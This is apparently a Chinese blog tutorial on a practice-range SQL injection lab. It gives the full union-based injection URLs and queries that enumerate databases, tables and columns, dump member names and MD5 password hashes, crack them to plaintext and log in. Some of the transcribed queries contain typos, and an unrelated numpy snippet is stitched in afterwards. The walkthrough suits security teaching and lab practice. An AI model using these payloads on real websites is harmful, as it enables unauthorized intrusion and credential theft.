MySQL注入实战

第1步、访问靶场

靶场地址:http://219.153.49.228:41377

第2步、

1、查找
观察页面,查找单页面之处:
在这里插入图片描述
2、页面提交:
http://219.153.49.228:41377/new_list.php?id=1 and 1=2
在这里插入图片描述
3、返回结果
返回内容为空
4、数据库查询:
select * from news where id =1 and 1=2
5、解析:
因为1=2不成立,所以返回内容为空。

第3步

1、页面提交:

  http://219.153.49.228:41377/new_list.php?id=1 and  order by 1

2、返回结果:

在这里插入图片描述
3、数据库查询:

select * from news where id=1 order by 1

4、解析
说明,该页面所对应的后台数据表中最少有一个字段,所以,下一步我们的目标是,查找出他有多少个这样的目标,即,我们得一步一步的测试 order by 2,3,4,……n。

第4步

1、页面提交

 http://219.153.49.228:41377/new_list.php?id=1 order by id=1

最终测试了4次,第三次,order by 4 正常,第四次在order by 5 时候页面为空。
2、返回结果
order by 4 时、
在这里插入图片描述
order by 5 时、
在这里插入图片描述
3、数据库查询

//order by 3:
select * from news where id=1 order by 3
// order by 4:
select * from news where id=1 order by 4

4、解析
这步探讨出了,该数据所对应有多少个字段,证明该数据库有4个字段。

第5步、

1、页面提交、

// %20 表示空格
http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,2,3,4

2、返回结果、
在这里插入图片描述
3、数据库查询

select * from news where id=1 and 1=2 union select 1,2,3,4

4、解析
通过联合查询,我们得知,标题的字段是2,内容字段是3。所以后续的步骤以这里为漏洞切入点。

第5步、

1、页面提交

http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,database(),version(),4

2、页面返回
在这里插入图片描述
3、数据库查询

select * from news where id=1 and 1=2 union select 1,database(),version(),4

4、解析
SQL语句中database()是查询当前数据库的名称(语法:select database();),一个服务器上可能有多个数据库,version()是查询当前数据的版本(语法:select version();),这里是这2个内容分别显示在第2、3的位置上,mozhe_Discuz_StormGroup为数据库,5.7.22-0ubuntu0.16.04.1为数据库版本和操作系统的版本。

第6步、

1、页面提交

http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,SCHEMA_NAME,3,4%20from%20information_schema.SCHEMATA%20limit%200,1

2、返回结果
在这里插入图片描述
3、数据库查询

select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

4、解析
因为MySQL数据服务器上必定存在information_schema数据库,其中记录了当前数据库系统中大部分我们需要了结的信息,比如字符集,权限相关,数据库实体对象信息,外检约束,分区,压缩表,表信息,索引信息,参数,优化,锁和事物等等。说白了,就是这个默认自带的数据中,存储了MySQL的数据库名字、表名字、列名字和其他信息,通过information_schema我们可以查看整个MySQL实例的情况。limit 0,1意思是从第0行起,取1行数据,information_schema为获取的第1个数据库名称。

第7步、

1、页面键入

http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,SCHEMA_NAME,3,4%20from%20information_schema.SCHEMATA%20limit%201,1

2、页面返回
在这里插入图片描述
3、数据库查询

select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 FROM infomation _schema.SCHEMATA LIMIT 1,1

4、解析
表示查询information_shcema数据库中的SCHEMATA表获取第一行的一条数据。这步主要还是排查有多少数据库,并把查询出来的数据库名显示在标题上。依此类推,最终得到该服务器上有多少数据库。

第8步

1、页面键入
第一行

 http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,SCHEMA_NAME,3,4%20from%20information_schema.SCHEMATA%20limit%202,1

第二行

 http://219.153.49.228:41377/new_list.php?id=1%20and%201=2%20union%20select%201,SCHEMA_NAME,3,4%20from%20information_schema.SCHEMATA%20limit%203,2

以此类推,到第五行,返回数据为空,所以该服务器上有6个数据库,
2、返回结果
第二行
在这里插入图片描述
第三行
在这里插入图片描述
第五行
在这里插入图片描述
3、数据库查询
第二行

select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 FROM infomation _schema.SCHEMATA LIMIT 2,1

第三行

select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 FROM infomation _schema.SCHEMATA LIMIT 3,1

第五行

select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 FROM infomation _schema.SCHEMATA LIMIT 5,1

4、解析:
通过不断的试探,查找出所有的数据库,limit 5,1意思是从第5行起,取1行数据,返回为空,说明只有5个数据库information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。进而推测出,登录所需要的数据在那个表。照目前来看只有mozhe_Discuz_StormGroup为系统所带数据库。 即:以下步骤都只在mozhe_Discuz_StormGroup数据库操作并查找所需的数据

第8步、

1、页面键入

http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,TABLE_NAME,3,4%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20limit%200,1

2、结果返回
在这里插入图片描述
3、数据库查询:

select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

4、分析
通过开始查询非MySQL自带的数据库,开始查找出其余表,目的是开始找出登录数据所在的数据库,进而找出所在的表。查询对应数据库mozhe_Discuz_StormGroup的第1个数据表名称,limit 0,1,第1个表名为StormGroup_member。

第9步、

通过上述不断试探的步骤,先找出第二个数据库所有的表名,进而第三个数据库,找完所有非系统所带的数据库。 本服务器只有mozhe_Discuz_StormGroup为非系统所带数据库
1、页面键入

//  mozhe_Discuz_StormGroup数据库
//第二个表
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,TABLE_NAME,3,4%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20limit%201,1
//第三个表,返回空,进而推出该数据库下只有两个数据表

2、结果返回
第二个表
在这里插入图片描述
查询第三个无返回
在这里插入图片描述
3、数据库查询

select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1

4、分析
按上述所查询返回结果,可知,该数据库只有两个数据表StormGroup_membernotice ,见名知意可知,最大的数据存储在第一个表中,所以,下面开始测试该数据库下的数据表中的字段,看能否找到name,Email,password之类的字段。

第10步、

1、页面键入

http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,COLUMN_NAME,COLUMN_TYPE,4%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20and%20TABLE_NAME=%27StormGroup_member%27%20limit%200,1

2、返回结果
在这里插入图片描述
3、数据库查询

select * from news where id=1 and 1=2 union 1,COLUMN_NAME,COLUMN_TYPE, 4 from information_schema.COLUMN WHERE TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1

4、分析
通过查询第一个表StormGroup_member中的第一行数据中的第一个字段的字段名及字段类型。第1个名称为id,类型:整型int(11)。

第11步、

以此类推,不断查找第一行数据的所有字段。
1、页面键入、

http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,COLUMN_NAME,COLUMN_TYPE,4%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20and%20TABLE_NAME=%27StormGroup_member%27%20limit%201,1
// 页面返回的是 名称为name,类型:字符型varchar(20)。
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,COLUMN_NAME,COLUMN_TYPE,4%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20and%20TABLE_NAME=%27StormGroup_member%27%20limit%202,1
// 页面返回的是 名称为password,类型:字符型varchar(255)。
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,COLUMN_NAME,COLUMN_TYPE,4%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20and%20TABLE_NAME=%27StormGroup_member%27%20limit%203,1
// 页面返回的是 名称为status,类型:int(11)。
http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,COLUMN_NAME,COLUMN_TYPE,4%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=%27mozhe_Discuz_StormGroup%27%20and%20TABLE_NAME=%27StormGroup_member%27%20limit%204,1
//页面返回为空。

2、页面结果
不一 一列举,只给出limit 4,1的
在这里插入图片描述
3、数据库查询
不一 一列举,只给出limit 4,1的

select * from news where id=1 and 1=2 union 1,COLUMN_NAME,COLUMN_TYPE, 4 from information_schema.COLUMN WHERE TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 4,1

4、分析
由上述四步分析可知:该数据库mozhe_Discuz_StormGroup下的数据表==StormGroup_member ==只有四个字段分别为:id,name,password,status。所以下一步骤便是查找出其所有行再找出其数据。

第12步、

1、页面键入

http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,count(*),3,4%20from%20mozhe_Discuz_StormGroup.StormGroup_member

2、结果返回
在这里插入图片描述
3、数据库查询

select * from news where id=1 and 1=2 union select 1,count(*),3,4 from mozhe_Discuz_StormGroup.StormGroup_member 

4、分析
该数据表明,该表只有两条数据。查数据

第13步、

1、页面键入

补充CONCAT函数的用法。
使用方法:CONCAT(str1,str2,…) 返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。

http://219.153.49.228:40080/new_list.php?id=1%20and%201=2%20union%20select%201,CONCAT(name,%27-%27,password,%27-%27,status),3,4%20from%20mozhe_Discuz_StormGroup.StormGroup_member%20limit%200,1

2、返回结果
在这里插入图片描述
3、数据库查询

select * from news where id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

4、总结分析
通过CONCAT()函数,返回数据表==StormGroup_member ==下的第一行name,加密的密码,status的值。

第14步、

继续查找出第二条数据
1、最后返回结果
在这里插入图片描述
2、总结分析
(1)我们得知:

  • 第一条登录数据:mozhe-356f589a7df439f6f744ff19bb8092c0-0

  • 第二条登录数据:mozhe-b79ef59ea93f1e13a22230b470fc6dcb-1
    (2) 使用在线解密工具:
    https://www.cmd5.com/,解密出密码明文。

  • 第一条数据密码明文:dsan13

  • 第二条数据密码明文:266033
    (3)分别登录:

  • 第一个
    在这里插入图片描述

  • 第二个
    在这里插入图片描述
    到此,网站终于被攻破,破解。通过分析我们得知,status字段值为0代表被禁用。

好了,本文就此结束,欢迎各位大佬指点错误不足之处,也欢迎广大感兴趣的朋友一起留言交流,谢谢。最后,麻烦各位点个赞,哈哈哈哈。
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
这条代码是不完整的,需要指定起始值和结束值,才能生成一个包含256个元素的等差数列。假设我们要生成0到255之间的256个整数,可以使用以下代码: ```python import numpy as np arr = np.linspace(0, 255, 256) print(arr) ``` 输出结果为: ``` [ 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. 133. 134. 135. 136. 137. 138. 139. 140. 141. 142. 143. 144. 145. 146. 147. 148. 149. 150. 151. 152. 153. 154. 155. 156. 157. 158. 159. 160. 161. 162. 163. 164. 165. 166. 167. 168. 169. 170. 171. 172. 173. 174. 175. 176. 177. 178. 179. 180. 181. 182. 183. 184. 185. 186. 187. 188. 189. 190. 191. 192. 193. 194. 195. 196. 197. 198. 199. 200. 201. 202. 203. 204. 205. 206. 207. 208. 209. 210. 211. 212. 213. 214. 215. 216. 217. 218. 219. 220. 221. 222. 223. 224. 225. 226. 227. 228. 229. 230. 231. 232. 233. 234. 235. 236. 237. 238. 239. 240. 241. 242. 243. 244. 245. 246. 247. 248. 249. 250. 251. 252. 253. 254. 255.] ``` 可以看到,生成了一个包含256个元素的等差数列,每个元素之间的差值相等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值